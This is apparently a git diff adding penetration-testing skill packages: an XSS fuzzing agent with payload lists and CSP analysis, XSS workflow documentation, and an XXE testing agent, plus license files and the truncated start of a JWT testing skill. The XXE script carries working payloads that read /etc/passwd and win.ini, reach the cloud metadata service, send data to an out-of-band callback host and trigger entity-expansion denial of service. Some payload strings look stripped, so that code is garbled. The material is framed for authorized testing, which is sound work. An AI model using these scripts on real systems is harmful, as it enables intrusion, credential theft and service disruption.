    ', + '">', + "'-alert(document.domain)-'", + "\\'-alert(document.domain)//", + '', + '', +] + + +def find_reflection_points(base_url, token=None): + """Crawl pages and find parameters that reflect user input.""" + print("[*] Finding reflection points...") + headers = {"Authorization": f"Bearer {token}"} if token else {} + reflections = [] + try: + resp = requests.get(base_url, headers=headers, timeout=15, verify=False) + forms = re.findall(r']*action=["\']([^"\']*)["\'][^>]*>(.*?)', + resp.text, re.DOTALL | re.IGNORECASE) + for action, form_body in forms: + inputs = re.findall(r']*name=["\']([^"\']*)["\']', form_body, re.IGNORECASE) + for inp in inputs: + reflections.append({"url": action or base_url, "param": inp, "method": "GET"}) + links = re.findall(r'href=["\']([^"\']*\?[^"\']*)["\']', resp.text) + for link in links[:20]: + parsed = urlparse(link) + params = dict(p.split("=", 1) for p in parsed.query.split("&") if "=" in p) + for param in params: + reflections.append({"url": link.split("?")[0], "param": param, "method": "GET"}) + except requests.RequestException as e: + print(f" [-] Error crawling: {e}") + print(f" [+] Found {len(reflections)} potential injection points") + return reflections + + +def test_character_encoding(url, param, token=None): + """Test which special characters are reflected unencoded.""" + headers = {"Authorization": f"Bearer {token}"} if token else {} + test_string = '<>"\'&/`()' + full_url = f"{url}?{param}={quote(test_string)}" + try: + resp = requests.get(full_url, headers=headers, timeout=10, verify=False) + unencoded = [ch for ch in test_string if ch in resp.text] + return unencoded + except requests.RequestException: + return [] + + +def fuzz_xss_payloads(base_url, param_url, param_name, token=None, payloads=None): + """Fuzz a parameter with XSS payloads and check for reflection.""" + if payloads is None: + payloads = XSS_WORDLIST + headers = {"Authorization": f"Bearer {token}"} if token else {} + findings = [] + for payload in payloads: + url = f"{urljoin(base_url, param_url)}?{param_name}={quote(payload)}" + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if payload in resp.text: + findings.append({ + "type": "REFLECTED_XSS", "url": param_url, "param": param_name, + "payload": payload, "severity": "HIGH", + }) + print(f" [!] REFLECTED: {param_name}={payload[:40]}...") + break + except requests.RequestException: + continue + return findings + + +def test_stored_xss_endpoints(base_url, endpoints, token): + """Test stored XSS via common input endpoints.""" + print("\n[*] Testing stored XSS endpoints...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + test_payloads = XSS_WORDLIST[:3] + + for ep in endpoints: + url = urljoin(base_url, ep["submit"]) + for payload in test_payloads: + try: + data = {ep.get("field", "body"): payload} + resp = requests.post(url, headers=headers, json=data, timeout=10, verify=False) + if resp.status_code in (200, 201): + display_url = urljoin(base_url, ep["display"]) + display_resp = requests.get(display_url, headers=headers, timeout=10, verify=False) + if payload in display_resp.text: + findings.append({ + "type": "STORED_XSS", "submit": ep["submit"], + "display": ep["display"], "field": ep.get("field", "body"), + "payload": payload, "severity": "CRITICAL", + }) + print(f" [!] STORED XSS: {ep['submit']} -> {ep['display']}") + break + except requests.RequestException: + continue + return findings + + +def analyze_csp(base_url): + """Analyze CSP header for XSS bypass opportunities.""" + print("\n[*] Analyzing CSP for bypass opportunities...") + findings = [] + try: + resp = requests.get(base_url, timeout=10, verify=False) + csp = resp.headers.get("Content-Security-Policy", "") + if not csp: + findings.append({"type": "NO_CSP", "detail": "No CSP header present", "severity": "MEDIUM"}) + print(" [!] No CSP header - inline scripts will execute") + return findings + + directives = {} + for part in csp.split(";"): + part = part.strip() + if " " in part: + key, value = part.split(" ", 1) + directives[key] = value + + script_src = directives.get("script-src", directives.get("default-src", "")) + weaknesses = [] + if "'unsafe-inline'" in script_src: + weaknesses.append("unsafe-inline allows inline scripts") + if "'unsafe-eval'" in script_src: + weaknesses.append("unsafe-eval allows eval()") + if "data:" in script_src: + weaknesses.append("data: URIs allowed in script-src") + wildcard_domains = re.findall(r'\*\.\S+', script_src) + if wildcard_domains: + weaknesses.append(f"Wildcard domains: {wildcard_domains}") + + for w in weaknesses: + findings.append({"type": "CSP_WEAKNESS", "detail": w, "severity": "HIGH"}) + print(f" [!] CSP weakness: {w}") + if not weaknesses: + print(f" [+] CSP appears well-configured") + except requests.RequestException: + pass + return findings + + +def generate_report(findings, output_path): + """Generate XSS assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_severity": {}, + "findings": findings, + } + for f in findings: + s = f.get("severity", "INFO") + report["by_severity"][s] = report["by_severity"].get(s, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="XSS Testing Agent (Burp Suite Companion)") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--token", help="Bearer token for authentication") + parser.add_argument("--params", nargs="+", help="URL?param pairs to test") + parser.add_argument("-o", "--output", default="xss_burp_report.json") + args = parser.parse_args() + + print(f"[*] XSS Testing (Burp Suite Companion): {args.base_url}") + findings = [] + findings.extend(analyze_csp(args.base_url)) + reflections = find_reflection_points(args.base_url, args.token) + for ref in reflections[:15]: + unencoded = test_character_encoding( + urljoin(args.base_url, ref["url"]), ref["param"], args.token) + if "<" in unencoded or '"' in unencoded: + findings.extend(fuzz_xss_payloads( + args.base_url, ref["url"], ref["param"], args.token)) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-for-xss-vulnerabilities/LICENSE b/skills/cybersecurity/testing-for-xss-vulnerabilities/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-for-xss-vulnerabilities/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-for-xss-vulnerabilities/SKILL.md b/skills/cybersecurity/testing-for-xss-vulnerabilities/SKILL.md new file mode 100644 index 00000000..f13f7cc8 --- /dev/null +++ b/skills/cybersecurity/testing-for-xss-vulnerabilities/SKILL.md @@ -0,0 +1,205 @@ +--- +name: testing-for-xss-vulnerabilities +description: 'Tests web applications for Cross-Site Scripting (XSS) vulnerabilities + by injecting JavaScript payloads into reflected, stored, and DOM-based contexts + to demonstrate client-side code execution, session hijacking, and user impersonation. + The tester identifies all injection points and output contexts, crafts context-appropriate + payloads, and bypasses sanitization and CSP protections. Activates for requests + involving XSS testing, cross-site scripting assessment, client-side injection testing, + or JavaScript injection vulnerability testing. + + ' +domain: cybersecurity +subdomain: penetration-testing +tags: +- XSS +- cross-site-scripting +- client-side-security +- OWASP-A03 +- JavaScript-injection +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- ID.RA-01 +- ID.RA-06 +- GV.OV-02 +- DE.AE-07 +mitre_attack: +- T1595 +- T1190 +- T1059 +- T1078 +- T1055 +--- +# Testing for XSS Vulnerabilities + +## When to Use + +- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing +- Evaluating the effectiveness of input sanitization and output encoding across all application features +- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation +- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders +- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering + +**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments. + +## Prerequisites + +- Authorized scope defining the target web application and acceptable testing activities +- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++) +- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter) +- XSS Hunter or Burp Collaborator for out-of-band payload verification +- SecLists XSS payload lists and custom payloads for WAF bypass scenarios + + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + +## Workflow + +### Step 1: Input and Output Mapping + +Map every location where user input enters and is rendered by the application: + +- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response +- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages +- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM +- **Output context identification**: For each reflected input, determine the rendering context: + - HTML body: `
    USER_INPUT
    ` + - HTML attribute: `` + - JavaScript string: `var x = 'USER_INPUT';` + - URL context: `` + - CSS context: `
    ` + +### Step 2: Reflected XSS Testing + +Test reflected injection points with context-appropriate payloads: + +- **HTML body context**: ``, ``, `` +- **HTML attribute context**: `" onfocus=alert(1) autofocus="`, `" onmouseover=alert(1) "`, `">` +- **JavaScript string context**: `';alert(1)//`, `\';alert(1)//`, `` +- **URL/href context**: `javascript:alert(1)`, `data:text/html,` +- **Inside HTML comments**: `--> + + + + + + + + + + +%xxe; +``` + +## File Paths for Testing +| OS | File | Content Indicator | +|----|------|-------------------| +| Linux | `/etc/passwd` | `root:x:0:0` | +| Linux | `/etc/hostname` | hostname string | +| Windows | `c:/windows/win.ini` | `[fonts]` | +| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` | + +## References +- defusedxml: https://github.com/tiran/defusedxml +- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html +- PortSwigger XXE: https://portswigger.net/web-security/xxe +- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection diff --git a/skills/cybersecurity/testing-for-xxe-injection-vulnerabilities/scripts/agent.py b/skills/cybersecurity/testing-for-xxe-injection-vulnerabilities/scripts/agent.py new file mode 100755 index 00000000..0c6e8e49 --- /dev/null +++ b/skills/cybersecurity/testing-for-xxe-injection-vulnerabilities/scripts/agent.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +"""Agent for testing XXE injection vulnerabilities during authorized assessments.""" + +import requests +import json +import argparse +import urllib3 +from datetime import datetime +from urllib.parse import urljoin +import defusedxml.ElementTree as safe_ET + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +XXE_PAYLOADS = { + "file_read_linux": ''' + +]> +&xxe;''', + + "file_read_windows": ''' + +]> +&xxe;''', + + "ssrf_metadata": ''' + +]> +&xxe;''', + + "oob_http": ''' + +]> +&xxe;''', + + "oob_parameter_entity": ''' + + %xxe; +]> +test''', + + "php_filter": ''' + +]> +&xxe;''', + + "billion_laughs_check": ''' + + + +]> +&lol3;''', +} + + +def detect_xml_endpoints(base_url, token=None): + """Test if endpoints accept XML content type.""" + print("[*] Detecting XML-accepting endpoints...") + headers = {"Content-Type": "application/xml"} + if token: + headers["Authorization"] = f"Bearer {token}" + xml_test = 'hello' + endpoints = ["/api/search", "/api/users", "/api/data", "/api/import", + "/api/upload", "/ws/service", "/soap", "/xml"] + xml_endpoints = [] + for ep in endpoints: + url = urljoin(base_url, ep) + try: + resp = requests.post(url, headers=headers, data=xml_test, timeout=10, verify=False) + if resp.status_code not in (404, 405, 415): + xml_endpoints.append({"endpoint": ep, "status": resp.status_code}) + print(f" [+] {ep}: Accepts XML (status {resp.status_code})") + except requests.RequestException: + continue + return xml_endpoints + + +def test_content_type_switch(base_url, endpoint, token=None): + """Test if a JSON endpoint also accepts XML.""" + print(f"\n[*] Testing content-type switch on {endpoint}...") + json_headers = {"Content-Type": "application/json"} + xml_headers = {"Content-Type": "application/xml"} + if token: + json_headers["Authorization"] = f"Bearer {token}" + xml_headers["Authorization"] = f"Bearer {token}" + url = urljoin(base_url, endpoint) + try: + json_resp = requests.post(url, headers=json_headers, + json={"search": "test"}, timeout=10, verify=False) + xml_resp = requests.post(url, headers=xml_headers, + data='test', + timeout=10, verify=False) + if xml_resp.status_code not in (415, 400, 404): + print(f" [!] Endpoint accepts both JSON ({json_resp.status_code}) and XML ({xml_resp.status_code})") + return True + except requests.RequestException: + pass + return False + + +def test_xxe_payloads(base_url, endpoint, token=None, callback=None): + """Test an endpoint with XXE payloads.""" + print(f"\n[*] Testing XXE payloads on {endpoint}...") + findings = [] + headers = {"Content-Type": "application/xml"} + if token: + headers["Authorization"] = f"Bearer {token}" + url = urljoin(base_url, endpoint) + + file_indicators = { + "file_read_linux": ["root:", "/bin/bash", "/bin/sh", "nobody:"], + "file_read_windows": ["[fonts]", "[extensions]", "for 16-bit"], + "ssrf_metadata": ["ami-id", "instance-id", "security-credentials"], + "php_filter": ["cm9vd", "L2Jpbi9"], # base64 fragments + } + + for name, payload in XXE_PAYLOADS.items(): + if "{callback}" in payload: + if callback: + payload = payload.replace("{callback}", callback) + else: + continue + try: + resp = requests.post(url, headers=headers, data=payload, timeout=15, verify=False) + indicators = file_indicators.get(name, []) + matched = [ind for ind in indicators if ind in resp.text] + if matched: + findings.append({ + "type": "XXE_CONFIRMED", "payload_name": name, + "endpoint": endpoint, "indicators": matched, + "severity": "CRITICAL", + }) + print(f" [!] XXE CONFIRMED ({name}): {matched}") + elif resp.status_code == 200 and "error" not in resp.text.lower()[:200]: + if name.startswith("oob"): + findings.append({ + "type": "XXE_OOB_SENT", "payload_name": name, + "endpoint": endpoint, "severity": "HIGH", + "detail": "OOB payload sent - check callback server", + }) + print(f" [?] OOB payload sent ({name}) - check callback server") + except requests.RequestException as e: + if "timed out" in str(e) and name == "billion_laughs_check": + findings.append({ + "type": "XXE_DOS_POSSIBLE", "payload_name": name, + "endpoint": endpoint, "severity": "HIGH", + }) + print(f" [!] Possible DoS via entity expansion (request timed out)") + return findings + + +def test_svg_upload(base_url, upload_endpoint, token): + """Test SVG file upload for XXE.""" + print(f"\n[*] Testing SVG upload XXE on {upload_endpoint}...") + svg_xxe = ''' + +]> + + &xxe; +''' + headers = {"Authorization": f"Bearer {token}"} + url = urljoin(base_url, upload_endpoint) + try: + files = {"file": ("xxe.svg", svg_xxe, "image/svg+xml")} + resp = requests.post(url, headers=headers, files=files, timeout=15, verify=False) + if resp.status_code in (200, 201): + print(f" [+] SVG uploaded (status {resp.status_code})") + return [{"type": "SVG_XXE_UPLOAD", "endpoint": upload_endpoint, + "status": resp.status_code, "severity": "HIGH"}] + except requests.RequestException as e: + print(f" [-] Error: {e}") + return [] + + +def verify_safe_parsing(xml_string): + """Demonstrate safe XML parsing with defusedxml.""" + try: + safe_ET.fromstring(xml_string) + return True + except Exception as e: + print(f" [+] defusedxml correctly blocked: {type(e).__name__}") + return False + + +def generate_report(findings, output_path): + """Generate XXE assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_type": {}, + "findings": findings, + } + for f in findings: + t = f.get("type", "UNKNOWN") + report["by_type"][t] = report["by_type"].get(t, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="XXE Injection Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--token", help="Bearer token for authentication") + parser.add_argument("--endpoint", default="/api/search", help="XML endpoint to test") + parser.add_argument("--callback", help="OOB callback server (e.g., abc123.oast.fun)") + parser.add_argument("--upload-endpoint", help="SVG upload endpoint") + parser.add_argument("-o", "--output", default="xxe_report.json") + args = parser.parse_args() + + print(f"[*] XXE Injection Assessment: {args.base_url}") + findings = [] + xml_eps = detect_xml_endpoints(args.base_url, args.token) + test_content_type_switch(args.base_url, args.endpoint, args.token) + findings.extend(test_xxe_payloads(args.base_url, args.endpoint, args.token, args.callback)) + for ep in xml_eps: + if ep["endpoint"] != args.endpoint: + findings.extend(test_xxe_payloads(args.base_url, ep["endpoint"], args.token, args.callback)) + if args.upload_endpoint: + findings.extend(test_svg_upload(args.base_url, args.upload_endpoint, args.token)) + verify_safe_parsing(XXE_PAYLOADS["file_read_linux"]) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-jwt-token-security/LICENSE b/skills/cybersecurity/testing-jwt-token-security/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-jwt-token-security/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-jwt-token-security/SKILL.md b/skills/cybersecurity/testing-jwt-token-security/SKILL.md new file mode 100644 index 00000000..2c2cda8f --- /dev/null +++ b/skills/cybersecurity/testing-jwt-token-security/SKILL.md @@ -0,0 +1,354 @@ +--- +name: testing-jwt-token-security +description: Assessing JSON Web Token implementations for cryptographic weaknesses, + algorithm confusion attacks, and authorization bypass vulnerabilities during security + engagements. +domain: cybersecurity +subdomain: web-application-security +tags: +- penetration-testing +- jwt +- authentication +- web-security +- token-security +- 